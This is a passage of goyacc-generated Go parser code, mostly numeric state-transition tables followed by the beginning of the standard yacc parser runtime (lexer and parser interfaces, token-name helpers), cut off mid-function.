375, 345, 262, 133, 58, 173, 171,\n\t177, 243, 170, 175, 172, 174, 241, 240, 62, 237,\n\t63, 64, 65, 230, 202, 66, 102, 67, 180, 68,\n\t69, 24, 521, 70, 71, 72, 73, 74, 75, 224,\n\t225, 176, 76, 77, 328, 78, 214, 227, 228, 229,\n\t382, 192, 205, 201, 515, 209, 232, 418, 191, 235,\n\t396, 212, 120, 39, 239, 224, 225, 242, 193, 391,\n\t354, 347, 79, 234, 329, 456, 218, 455, 98, 49,\n\t80, 474, 81, 88, 169, 254, 82, 83, 84, 85,\n\t86, 87, 233, 462, 102, 461, 437, 216, 226, 55,\n\t261, 32, 208, 220, 353, 99, 344, 282, 33, 337,\n\t210, 270, 221, 271, 128, 117, 280, 401, 115, 255,\n\t107, 106, 283, 292, 54, 219, 223, 281, 293, 291,\n\t274, 217, 274, 259, 260, 430, 22, 103, 224, 225,\n\t236, 454, 273, 277, 298, 489, 381, 104, 453, 251,\n\t22, 297, 332, 488, 336, 331, 295, 92, 102, 308,\n\t294, 256, 263, 343, 296, 245, 299, 21, 302, 244,\n\t102, 276, 94, 305, 306, 307, 342, 203, 102, 303,\n\t304, 21, 182, 338, 199, 348, 322, 323, 324, 325,\n\t326, 327, 443, 300, 369, 346, 301, 367, 374, 179,\n\t370, 349, 178, 350, 214, 214, 481, 31, 379, 380,\n\t446, 333, 10, 12, 11, 373, 310, 387, 368, 388,\n\t371, 389, 90, 91, 93, 127, 89, 523, 524, 508,\n\t394, 276, 422, 251, 365, 351, 352, 514, 372, 503,\n\t495, 205, 13, 183, 502, 383, 22, 471, 493, 390,\n\t211, 14, 15, 52, 96, 463, 7, 417, 8, 9,\n\t16, 17, 125, 51, 18, 19, 50, 25, 406, 119,\n\t129, 22, 336, 405, 398, 506, 423, 21, 341, 500,\n\t267, 268, 265, 266, 214, 414, 425, 264, 431, 413,\n\t356, 419, 285, 355, 512, 336, 36, 424, 444, 445,\n\t432, 447, 21, 358, 257, 181, 121, 449, 118, 251,\n\t400, 441, 53, 440, 276, 366, 457, 105, 34, 448,\n\t35, 450, 434, 269, 451, 187, 186, 439, 196, 258,\n\t459, 420, 416, 466, 197, 43, 47, 26, 30, 468,\n\t464, 38, 2, 122, 123, 124, 214, 469, 214, 214,\n\t473, 214, 475, 476, 470, 478, 467, 482, 194, 195,\n\t27, 29, 28, 37, 184, 48, 251, 97, 110, 111,\n\t276, 409, 410, 411, 415, 200, 276, 198, 279, 23,\n\t168, 56, 460, 44, 54, 321, 309, 46, 45, 291,\n\t41, 496, 498, 400, 42, 313, 314, 315, 316, 317,\n\t318, 319, 320, 357, 206, 499, 222, 452, 487, 40,\n\t214, 507, 504, 509, 505, 518, 402, 132, 511, 130,\n\t143, 494, 147, 516, 140, 519, 513, 517, 138, 134,\n\t520, 59, 525, 60, 386, 149, 501, 526, 231, 57,\n\t61, 249, 429, 428, 426, 185, 109, 58, 173, 171,\n\t177, 126, 170, 175, 172, 174, 95, 238, 62, 150,\n\t63, 64, 65, 151, 510, 66, 20, 67, 5, 68,\n\t69, 4, 3, 70, 71, 72, 73, 74, 75, 1,\n\t0, 176, 76, 77, 0, 78, 0, 0, 0, 22,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 145, 0, 0, 0, 0,\n\t137, 0, 79, 142, 0, 0, 0, 164, 160, 0,\n\t442, 0, 81, 88, 169, 152, 82, 83, 84, 85,\n\t86, 87, 162, 163, 0, 0, 0, 0, 0, 166,\n\t155, 156, 157, 158, 159, 154, 59, 0, 60, 0,\n\t0, 146, 0, 0, 57, 61, 0, 148, 0, 0,\n\t0, 189, 58, 173, 171, 177, 0, 170, 175, 172,\n\t174, 0, 0, 62, 0, 63, 64, 65, 0, 0,\n\t66, 0, 67, 0, 68, 69, 0, 0, 70, 71,\n\t72, 73, 74, 75, 0, 0, 176, 76, 77, 0,\n\t78, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t145, 0, 0, 0, 0, 137, 0, 79, 142, 0,\n\t0, 0, 164, 160, 0, 80, 0, 81, 88, 169,\n\t152, 82, 83, 84, 85, 86, 87, 162, 163, 0,\n\t0, 0, 0, 0, 166, 155, 156, 157, 158, 159,\n\t154, 59, 0, 60, 0, 0, 146, 0, 0, 57,\n\t61, 0, 148, 0, 0, 0, 0, 58, 173, 171,\n\t177, 0, 170, 175, 172, 174, 0, 0, 62, 0,\n\t63, 64, 65, 0, 0, 66, 0, 67, 0, 68,\n\t69, 0, 0, 70, 71, 72, 73, 74, 75, 0,\n\t0, 176, 76, 77, 0, 78, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 145, 0, 0, 0, 0,\n\t137, 0, 79, 142, 0, 0, 0, 164, 160, 0,\n\t80, 0, 81, 88, 169, 152, 82, 83, 84, 85,\n\t86, 87, 162, 163, 0, 0, 0, 0, 0, 166,\n\t155, 156, 157, 158, 159, 154, 59, 0, 60, 0,\n\t0, 146, 131, 0, 57, 61, 0, 148, 0, 0,\n\t0, 0, 58, 173, 171, 177, 0, 170, 175, 172,\n\t174, 0, 0, 62, 0, 63, 64, 65, 0, 0,\n\t66, 0, 67, 0, 68, 69, 0, 0, 70, 71,\n\t72, 73, 74, 75, 0, 0, 176, 76, 77, 0,\n\t78, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t145, 0, 0, 0, 0, 137, 0, 79, 142, 0,\n\t0, 0, 164, 160, 0, 80, 0, 81, 88, 169,\n\t152, 82, 83, 84, 85, 86, 87, 162, 163, 0,\n\t0, 0, 0, 0, 166, 155, 156, 157, 158, 159,\n\t154, 59, 0, 60, 0, 0, 146, 0, 0, 57,\n\t61, 0, 148, 0, 0, 0, 0, 58, 173, 171,\n\t177, 0, 170, 175, 172, 174, 0, 0, 62, 0,\n\t63, 64, 65, 0, 0, 66, 0, 67, 0, 68,\n\t69, 0, 0, 70, 71, 72, 73, 74, 75, 0,\n\t0, 176, 76, 77, 0, 78, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 79, 234, 0, 0, 0, 164, 160, 0,\n\t80, 0, 81, 88, 169, 152, 82, 83, 84, 85,\n\t86, 87, 162, 163, 0, 0, 0, 0, 0, 166,\n\t155, 156, 157, 158, 159, 154, 59, 0, 60, 0,\n\t0, 146, 0, 0, 57, 61, 0, 148, 0, 0,\n\t0, 0, 58, 173, 171, 177, 0, 170, 175, 172,\n\t174, 0, 0, 62, 0, 63, 64, 65, 0, 0,\n\t66, 0, 67, 0, 68, 69, 0, 0, 70, 71,\n\t72, 73, 74, 75, 0, 0, 176, 76, 77, 0,\n\t78, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 79, 234, 0,\n\t0, 0, 0, 0, 0, 80, 0, 81, 88, 169,\n\t254, 82, 83, 84, 85, 86, 87, 59, 0, 60,\n\t0, 0, 0, 0, 55, 57, 61, 0, 0, 0,\n\t0, 0, 0, 58, 0, 0, 0, 330, 0, 0,\n\t0, 0, 289, 0, 62, 0, 63, 64, 65, 0,\n\t0, 66, 0, 67, 0, 68, 69, 0, 0, 70,\n\t71, 72, 73, 74, 75, 0, 0, 0, 76, 77,\n\t0, 78, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 79, 0,\n\t0, 0, 0, 0, 0, 0, 80, 287, 288, 290,\n\t0, 0, 82, 83, 84, 85, 86, 87, 59, 0,\n\t60, 0, 0, 0, 0, 166, 57, 61, 0, 0,\n\t0, 0, 0, 0, 58, 173, 171, 177, 0, 170,\n\t175, 172, 174, 286, 0, 62, 0, 63, 64, 65,\n\t0, 0, 253, 250, 67, 252, 68, 69, 0, 0,\n\t70, 71, 72, 73, 74, 75, 0, 0, 176, 76,\n\t77, 0, 78, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 79,\n\t234, 0, 0, 0, 0, 0, 0, 80, 0, 81,\n\t88, 169, 254, 82, 83, 84, 85, 86, 87, 59,\n\t0, 60, 0, 0, 0, 0, 55, 57, 61, 0,\n\t0, 0, 0, 0, 0, 58, 173, 171, 177, 0,\n\t170, 175, 172, 174, 0, 0, 62, 0, 63, 64,\n\t65, 0, 0, 66, 0, 67, 0, 68, 69, 0,\n\t0, 70, 71, 72, 73, 74, 75, 0, 0, 176,\n\t76, 77, 0, 78, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t79, 234, 0, 0, 0, 0, 0, 0, 80, 0,\n\t81, 88, 169, 254, 82, 83, 84, 85, 86, 87,\n\t59, 0, 60, 0, 0, 0, 0, 55, 57, 61,\n\t0, 0, 0, 0, 0, 0, 58, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 62, 0, 63,\n\t64, 65, 0, 0, 66, 0, 67, 0, 68, 69,\n\t0, 0, 70, 71, 72, 73, 74, 75, 0, 0,\n\t0, 76, 77, 0, 78, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 215, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 79, 0, 0, 0, 59, 0, 60, 0, 80,\n\t0, 81, 88, 57, 61, 82, 83, 84, 85, 86,\n\t87, 58, 0, 0, 0, 0, 0, 0, 55, 0,\n\t0, 0, 62, 113, 63, 64, 65, 0, 0, 66,\n\t0, 67, 0, 68, 69, 0, 0, 70, 71, 72,\n\t73, 74, 75, 0, 0, 0, 76, 77, 0, 78,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 79, 0, 0, 0,\n\t59, 0, 60, 0, 80, 0, 81, 88, 57, 61,\n\t82, 83, 84, 85, 86, 87, 58, 0, 0, 0,\n\t0, 0, 0, 55, 0, 0, 0, 62, 0, 63,\n\t64, 65, 0, 0, 66, 0, 67, 0, 68, 69,\n\t0, 0, 70, 71, 72, 73, 74, 75, 0, 0,\n\t0, 76, 77, 0, 78, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 79, 0, 0, 0, 59, 0, 60, 0, 80,\n\t0, 81, 88, 57, 61, 82, 83, 84, 85, 86,\n\t87, 58, 0, 0, 0, 0, 0, 0, 55, 0,\n\t0, 0, 62, 0, 63, 64, 65, 0, 0, 66,\n\t0, 67, 0, 68, 69, 0, 0, 70, 71, 72,\n\t73, 74, 75, 0, 0, 0, 76, 77, 0, 78,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t0, 0, 0, 0, 0, 0, 100, 0, 0, 0,\n\t0, 0, 0, 0, 80, 0, 81, 88, 0, 0,\n\t82, 83, 84, 85, 86, 87, 0, 0, 0, 0,\n\t0, 0, 0, 55,\n}\n\nvar yyPact = [...]int16{\n\t298, -1000, -1000, -9, -1000, -1000, -1000, 308, -1000, -1000,\n\t420, 184, 378, 423, 421, 421, 302, 299, 278, 1665,\n\t239, 217, 280, -1000, 298, -1000, 82, 1750, 151, 375,\n\t98, -1000, 97, 442, 1665, 1580, 95, 1665, 92, 365,\n\t312, 29, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 363,\n\t1665, 1665, 1665, 294, -1000, -1000, -1000, -1000, -1000, -1000,\n\t-1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000,\n\t-1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000,\n\t-1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 237,\n\t-1000, -1000, 91, -1000, 314, 746, -1000, -1000, 208, -1000,\n\t205, -13, -1000, 362, 188, 151, 445, -1000, -1000, 397,\n\t631, 631, -1000, 1665, 37, -1000, 413, 415, 460, -1000,\n\t421, 458, -17, -17, 263, 79, 163, -1000, -1000, 87,\n\t275, -1000, 28, 1495, 77, 112, -1000, 861, -1000, 104,\n\t-1000, 11, -18, -1000, -1000, 861, 976, -1000, 861, 137,\n\t-1000, -1000, -22, 32, -24, -1000, -1000, -1000, -1000, -1000,\n\t-25, -1000, -1000, -1000, -1000, 36, -30, -1000, -1000, -1000,\n\t-1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, 172, 168,\n\t1293, 1665, 164, 361, 409, -1000, 631, 631, -1000, 861,\n\t-1000, -1000, -36, 1394, 339, 335, 332, 403, 1665, -1000,\n\t1665, 177, 1394, 177, 462, 861, 74, -1000, 101, -1000,\n\t-1000, 1192, 861, -1000, -1000, 1665, 861, 861, -1000, 976,\n\t150, 976, 198, 976, 976, 976, -1000, 976, 976, 976,\n\t163, 226, -1000, -1000, -1000, -50, 463, 176, 12, 48,\n\t1091, 861, 1394, 861, 86, 1665, -59, -1000, -1000, -1000,\n\t327, 463, 861, 83, -1000, -37, -1000, 1665, 45, -1000,\n\t-1000, -1000, 1394, -1000, 1394, 1665, 1394, 1394, 81, 44,\n\t346, 343, 360, -47, -1000, -61, -1000, -1000, 253, 373,\n\t-1000, 462, 79, 861, 462, 442, 273, -38, -39, -40,\n\t-43, 1495, 1495, -1000, 112, -1000, 5, -1000, 145, 31,\n\t976, -44, 5, 11, 11, -1000, -1000, -1000, -52, 227,\n\t861, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000, -1000,\n\t-1000, 274, -1000, -1000, -1000, -1000, -1000, -1000, 43, -1000,\n\t-53, -54, 244, -1000, -55, 27, -1000, -1000, -45, -1000,\n\t1293, 76, -92, -1000, 321, 1394, -46, 450, -62, -1000,\n\t-1000, 342, -1000, -1000, 450, 456, 414, -1000, 288, 24,\n\t-1000, 861, 1394, -1000, 250, 861, 354, 253, -1000, -1000,\n\t117, 1495, -47, -56, 391, -57, -58, 73, -60, -1000,\n\t-1000, -1000, 976, 5, 516, -1000, 199, 861, 861, 219,\n\t861, -1000, -1000, -1000, 463, -1000, 861, 1293, -1000, -1000,\n\t-1000, 1394, 147, 53, 51, 861, -63, 1394, -1000, -1000,\n\t-1000, -1000, -1000, 1394, -1000, 72, 70, 285, -47, -64,\n\t-1000, -1000, 861, -1000, 76, 250, 263, -1000, 117, 271,\n\t-1000, -1000, -73, 1495, 58, 1495, 1495, -65, 1495, 5,\n\t-66, -75, 217, -1000, 215, -1000, 861, -83, -86, -1000,\n\t-76, -80, 153, -1000, 144, -103, -87, -1000, -1000, -81,\n\t-1000, -1000, -1000, 277, -1000, -1000, -1000, -1000, -1000, 261,\n\t-1000, 1192, -1000, -1000, -100, -1000, -1000, -1000, -1000, -1000,\n\t-1000, 861, -1000, -1000, -1000, -1000, -1000, 329, -1000, -1000,\n\t-1000, -1000, -1000, -1000, 267, 259, 462, 1495, -1000, -1000,\n\t324, 246, 861, 1394, 351, -1000, -1000, 253, 257, -1000,\n\t21, -1000, 861, 250, 861, 1394, -1000, -1000, -1, 243,\n\t-1000, 861, -1000, -1000, -1000, 243, -1000,\n}\n\nvar yyPgo = [...]int16{\n\t0, 569, 432, 562, 561, 558, 18, 556, 26, 12,\n\t143, 21, 554, 17, 11, 16, 19, 553, 7, 549,\n\t547, 4, 546, 541, 9, 29, 382, 24, 536, 535,\n\t36, 534, 15, 533, 532, 531, 23, 13, 0, 528,\n\t10, 526, 525, 524, 519, 33, 518, 514, 34, 28,\n\t44, 35, 512, 511, 8, 3, 510, 509, 507, 506,\n\t6, 505, 501, 1, 5, 227, 498, 497, 496, 495,\n\t25, 494, 493, 20, 480, 153, 476, 475, 14, 471,\n\t470, 2, 27, 58, 469,\n}\n\nvar yyR1 = [...]int8{\n\t0, 1, 2, 2, 84, 84, 3, 3, 3, 4,\n\t4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n\t4, 4, 4, 4, 4, 4, 4, 4, 4, 4,\n\t4, 4, 4, 4, 4, 75, 75, 75, 74, 74,\n\t74, 74, 74, 74, 74, 73, 73, 73, 73, 65,\n\t65, 5, 5, 5, 5, 25, 25, 72, 72, 71,\n\t71, 70, 13, 13, 14, 12, 12, 16, 16, 15,\n\t15, 17, 17, 17, 17, 17, 17, 17, 17, 17,\n\t17, 78, 78, 78, 78, 78, 78, 78, 78, 18,\n\t37, 37, 36, 36, 36, 8, 69, 69, 59, 59,\n\t59, 66, 66, 67, 67, 67, 6, 6, 6, 6,\n\t6, 6, 6, 6, 7, 7, 23, 23, 22, 22,\n\t57, 57, 58, 58, 19, 19, 19, 19, 20, 20,\n\t21, 21, 82, 83, 83, 9, 9, 11, 11, 10,\n\t10, 80, 80, 80, 80, 80, 80, 80, 80, 80,\n\t80, 80, 81, 81, 79, 79, 79, 79, 79, 79,\n\t79, 79, 79, 79, 79, 79, 79, 79, 79, 79,\n\t79, 79, 79, 79, 79, 79, 79, 79, 79, 79,\n\t79, 79, 79, 79, 79, 79, 24, 24, 24, 24,\n\t24, 24, 24, 24, 24, 26, 27, 28, 28, 28,\n\t29, 29, 29, 30, 30, 31, 31, 32, 32, 33,\n\t34, 34, 40, 40, 53, 53, 41, 41, 54, 54,\n\t55, 55, 62, 62, 64, 64, 61, 61, 63, 63,\n\t63, 60, 60, 60, 35, 35, 39, 39, 56, 76,\n\t76, 43, 43, 38, 44, 44, 45, 45, 49, 49,\n\t46, 46, 46, 46, 46, 46, 46, 47, 47, 47,\n\t47, 47, 48, 48, 48, 50, 50, 50, 50, 51,\n\t51, 52, 52, 42, 42, 42, 42, 68, 68, 77,\n\t77, 77, 77, 77, 77,\n}\n\nvar yyR2 = [...]int8{\n\t0, 1, 2, 3, 0, 1, 1, 1, 1, 2,\n\t1, 1, 1, 6, 3, 2, 3, 3, 9, 6,\n\t3, 8, 9, 7, 5, 6, 6, 8, 6, 6,\n\t7, 7, 3, 8, 8, 2, 1, 3, 1, 1,\n\t1, 1, 1, 1, 1, 0, 1, 1, 1, 0,\n\t3, 6, 5, 7, 8, 2, 1, 0, 4, 1,\n\t3, 3, 1, 3, 3, 1, 3, 0, 1, 1,\n\t3, 1, 1, 1, 1, 1, 6, 1, 1, 1,\n\t1, 1, 1, 1, 1, 1, 1, 1, 1, 4,\n\t1, 3, 1, 1, 3, 6, 0, 2, 0, 3,\n\t3, 0, 1, 0, 1, 2, 1, 4, 2, 2,\n\t3, 2, 2, 4, 13, 3, 0, 1, 0, 1,\n\t1, 1, 2, 4, 1, 2, 4, 4, 2, 3,\n\t1, 3, 1, 1, 1, 1, 3, 1, 3, 0,\n\t3, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t1, 1, 1, 1, 1, 1, 1, 1, 1, 1,\n\t1, 1, 1, 1, 1, 1, 3, 4, 4, 4,\n\t4, 4, 4, 2, 6, 1, 2, 0, 2, 2,\n\t0, 2, 2, 2, 1, 0, 1, 1, 2, 6,\n\t0, 1, 0, 2, 0, 3, 0, 2, 0, 2,\n\t0, 2, 0, 3, 0, 4, 2, 4, 0, 1,\n\t1, 0, 1, 2, 2, 4, 0, 1, 5, 4,\n\t5, 0, 2, 1, 3, 1, 3, 1, 2, 1,\n\t3, 3, 4, 5, 4, 3, 1, 4, 6, 6,\n\t1, 1, 3, 3, 1, 3, 3, 3, 1, 2,\n\t1, 3, 1, 1, 1, 3, 6, 0, 1, 1,\n\t1, 1, 1, 1, 1,\n}\n\nvar yyChk = [...]int16{\n\t-1000, -1, -2, -3, -4, -5, -6, 48, 50, 51,\n\t4, 6, 5, 34, 43, 44, 52, 53, 56, 57,\n\t-7, 94, 63, -84, 130, 49, 7, 30, 32, 31,\n\t8, 113, 7, 14, 30, 32, 8, 30, 8, -75,\n\t78, -74, 63, 4, 52, 57, 56, 5, 34, -75,\n\t54, 54, 65, -26, -81, 113, -79, 13, 21, 5,\n\t7, 14, 32, 34, 35, 36, 39, 41, 43, 44,\n\t47, 48, 49, 50, 51, 52, 56, 57, 59, 86,\n\t94, 96, 100, 101, 102, 103, 104, 105, 97, 77,\n\t95, 96, 30, 97, 45, -22, 64, -2, 86, 113,\n\t86, -82, -81, -65, 86, 32, 113, 113, -27, -28,\n\t16, 17, -81, 33, -82, 113, -82, 113, 33, 47,\n\t123, 33, -26, -26, -26, 58, -23, 78, 113, 46,\n\t-57, 126, -58, -38, -44, -45, -49, 84, -46, -48,\n\t-47, -50, 87, -56, -51, 79, 125, -52, 131, -42,\n\t-19, -17, 99, -21, 119, 114, 115, 116, 117, 118,\n\t92, -18, 106, 107, 91, -83, 113, -81, -80, 98,\n\t26, 23, 28, 22, 29, 27, 55, 24, 84, 84,\n\t131, 33, 84, -65, 9, -29, 19, 18, -30, 20,\n\t-38, -30, -82, 121, 35, 36, 5, 9, 7, -75,\n\t7, -10, 131, -10, -40, 68, -71, -70, 113, -6,\n\t113, 65, 123, -60, -81, 76, 110, 109, -49, 111,\n\t89, 98, -68, 112, 124, 125, 84, 126, 127, 128,\n\t131, -39, -38, -51, 87, -38, 93, 131, -20, 122,\n\t131, 131, 121, 131, 87, 87, -37, -36, -8, -35,\n\t40, -83, 42, 39, 99, -82, 87, 33, 10, -30,\n\t-30, -38, 131, -83, 38, 37, 38, 38, 39, 10,\n\t-81, -81, -25, 55, -6, -9, -83, -25, -64, 6,\n\t-38, -40, 123, 111, -24, -26, 131, 95, 96, 30,\n\t97, -18, -38, -81, -45, -49, -48, 91, 84, -48,\n\t85, 88, -48, -50, -50, -51, -51, -51, -6, -76,\n\t80, 132, -78, 22, 23, 24, 25, 26, 27, 28,\n\t29, -77, 100, 101, 102, 103, 104, 105, 122, 116,\n\t126, -21, -38, -83, -16, -15, -38, 113, -82, 132,\n\t123, 41, -78, -38, 113, 131, -82, 116, -9, -8,\n\t-82, -83, -83, 113, 116, 37, 37, -72, 33, -13,\n\t-14, 131, 123, 132, -54, 71, 32, -64, -70, -38,\n\t-64, -27, 55, -6, 15, 131, 131, 131, 131, -60,\n\t-60, 91, 109, -48, 131, 132, -43, 80, 82, -38,\n\t65, 116, 132, 132, 76, 132, 123, 131, -36, -11,\n\t-83, 131, -59, 133, 131, 42, -9, 131, -73, 11,\n\t12, 13, 132, 37, -73, 8, 8, 59, 123, -16,\n\t-83, -55, 72, -38, 33, -54, -31, -32, -33, -34,\n\t108, -60, -13, 132, 21, 132, 132, 113, 132, -48,\n\t-6, -15, 94, 83, -38, -38, 81, -38, -78, -38,\n\t-37, -9, -67, 91, 84, 114, 114, -38, 132, -9,\n\t-83, 113, 113, 60, -14, 132, -38, -11, -55, -40,\n\t-32, 66, 132, -60, 113, -60, -60, 132, -60, 132,\n\t132, 81, -38, 132, 132, 132, 132, -66, 90, 91,\n\t134, 132, 132, 61, -53, 69, -24, 132, -38, -69,\n\t40, -41, 67, 70, -64, -60, 41, -62, 73, -38,\n\t-12, -21, 33, -54, 70, 123, -38, -55, -61, -38,\n\t-21, 123, -63, 74, 75, -38, -63,\n}\n\nvar yyDef = [...]int16{\n\t0, -2, 1, 4, 6, 7, 8, 10, 11, 12,\n\t0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n\t106, 0, 118, 2, 5, 9, 0, 0, 49, 0,\n\t0, 15, 0, 197, 0, 0, 0, 0, 0, 0,\n\t0, 36, 38, 39, 40, 41, 42, 43, 44, 0,\n\t0, 0, 0, 0, 195, 152, 153, 154, 155, 156,\n\t157, 158, 159, 160, 161, 162, 163, 164, 165, 166,\n\t167, 168, 169, 170, 171, 172, 173, 174, 175, 176,\n\t177, 178, 179, 180, 181, 182, 183, 184, 185, 116,\n\t108, 109, 0, 111, 112, 0, 119, 3, 0, 14,\n\t176, 0, 132, 0, 0, 49, 0, 16, 17, 200,\n\t0, 0, 20, 0, 0, 32, 0, 0, 0, 35,\n\t0, 0, 139, 139, 212, 0, 0, 117, 110, 0,\n\t115, 120, 121, 231, 243, 245, 247, 0, 249, -2,\n\t256, 264, 144, 260, 268, 236, 0, 270, 0, 272,\n\t273, 274, 145, 124, 0, 71, 72, 73, 74, 75,\n\t0, 77, 78, 79, 80, 130, 152, 133, 134, 141,\n\t142, 143, 146, 147, 148, 149, 150, 151, 0, 0,\n\t0, 0, 0, 0, 0, 196, 0, 0, 198, 0,\n\t204, 199, 0, 0, 0, 0, 0, 0, 0, 37,\n\t0, 0, 0, 0, 224, 0, 212, 59, 0, 107,\n\t113, 0, 0, 122, 232, 0, 0, 0, 248, 0,\n\t0, 0, 0, 0, 0, 0, 278, 0, 0, 0,\n\t0, 0, 237, 269, 144, 0, 0, 0, 125, 0,\n\t0, 0, 0, 67, 0, 0, 0, 90, 92, 93,\n\t0, 0, 0, 163, 145, 0, 50, 0, 0, 201,\n\t202, 203, 0, 24, 0, 0, 0, 0, 0, 0,\n\t0, 0, 57, 0, 56, 0, 135, 52, 218, 0,\n\t213, 224, 0, 0, 224, 197, 0, 0, 178, 0,\n\t185, 231, 231, 233, 244, 246, 250, 251, 0, 0,\n\t0, 0, 255, 262, 263, 265, 266, 267, 0, 241,\n\t0, 271, 275, 81, 82, 83, 84, 85, 86, 87,\n\t88, 0, 279, 280, 281, 282, 283, 284, 0, 128,\n\t0, 0, 0, 131, 0, 68, 69, 13, 0, 19,\n\t0, 0, 98, 234, 0, 0, 0, 45, 0, 25,\n\t26, 0, 28, 29, 45, 0, 0, 51, 0, 55,\n\t62, 67, 0, 140, 220, 0, 0, 218, 60, 61,\n\t-2, 231, 0, 0, 0, 0, 0, 0, 0, 193,\n\t123, 252, 0, 254, 0, 257, 0, 0, 0, 0,\n\t0, 129, 126, 127, 0, 89, 0, 0, 91, 94,\n\t137, 0, 103, 0, 0, 0, 0, 0, 30, 46,\n\t47, 48, 23, 0, 31, 0, 0, 0, 0, 0,\n\t136, 53, 0, 219, 0, 220, 212, 206, -2, 0,\n\t211, 186, 0, 231, 0, 231, 231, 0, 231, 253,\n\t0, 0, 177, 238, 0, 242, 0, 0, 0, 70,\n\t0, 0, 101, 104, 0, 0, 0, 235, 21, 0,\n\t27, 33, 34, 0, 63, 64, 221, 225, 54, 214,\n\t208, 0, 187, 188, 0, 189, 190, 191, 192, 258,\n\t259, 0, 239, 276, 76, 18, 138, 96, 102, 105,\n\t99, 100, 22, 58, 216, 0, 224, 231, 240, 95,\n\t0, 222, 0, 0, 0, 194, 97, 218, 0, 217,\n\t215, 65, 0, 220, 0, 0, 209, 114, 223, 228,\n\t66, 0, 226, 229, 230, 228, 227,\n}\n\nvar yyTok1 = [...]uint8{\n\t1, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 128, 3, 3,\n\t131, 132, 126, 124, 123, 125, 129, 127, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 3, 3, 3, 3, 3, 3, 3, 3, 3,\n\t3, 133, 3, 134,\n}\n\nvar yyTok2 = [...]uint8{\n\t2, 3, 4, 5, 6, 7, 8, 9, 10, 11,\n\t12, 13, 14, 15, 16, 17, 18, 19, 20, 21,\n\t22, 23, 24, 25, 26, 27, 28, 29, 30, 31,\n\t32, 33, 34, 35, 36, 37, 38, 39, 40, 41,\n\t42, 43, 44, 45, 46, 47, 48, 49, 50, 51,\n\t52, 53, 54, 55, 56, 57, 58, 59, 60, 61,\n\t62, 63, 64, 65, 66, 67, 68, 69, 70, 71,\n\t72, 73, 74, 75, 76, 77, 78, 79, 80, 81,\n\t82, 83, 84, 85, 86, 87, 88, 89, 90, 91,\n\t92, 93, 94, 95, 96, 97, 98, 99, 100, 101,\n\t102, 103, 104, 105, 106, 107, 108, 109, 110, 111,\n\t112, 113, 114, 115, 116, 117, 118, 119, 120, 121,\n\t122, 130,\n}\n\nvar yyTok3 = [...]int8{\n\t0,\n}\n\nvar yyErrorMessages = [...]struct {\n\tstate int\n\ttoken int\n\tmsg   string\n}{}\n\n/*\tparser for yacc output\t*/\n\nvar (\n\tyyDebug        = 0\n\tyyErrorVerbose = false\n)\n\ntype yyLexer interface {\n\tLex(lval *yySymType) int\n\tError(s string)\n}\n\ntype yyParser interface {\n\tParse(yyLexer) int\n\tLookahead() int\n}\n\ntype yyParserImpl struct {\n\tlval  yySymType\n\tstack [yyInitialStackSize]yySymType\n\tchar  int\n}\n\nfunc (p *yyParserImpl) Lookahead() int {\n\treturn p.char\n}\n\nfunc yyNewParser() yyParser {\n\treturn &yyParserImpl{}\n}\n\nconst yyFlag = -1000\n\nfunc yyTokname(c int) string {\n\tif c >= 1 && c-1 < len(yyToknames) {\n\t\tif yyToknames[c-1] != \"\" {\n\t\t\treturn yyToknames[c-1]\n\t\t}\n\t}\n\treturn __yyfmt__.Sprintf(\"tok-%v\", c)\n}\n\nfunc yyStatname(s int) string {\n\tif s >= 0 && s < len(yyStatenames) {\n\t\tif 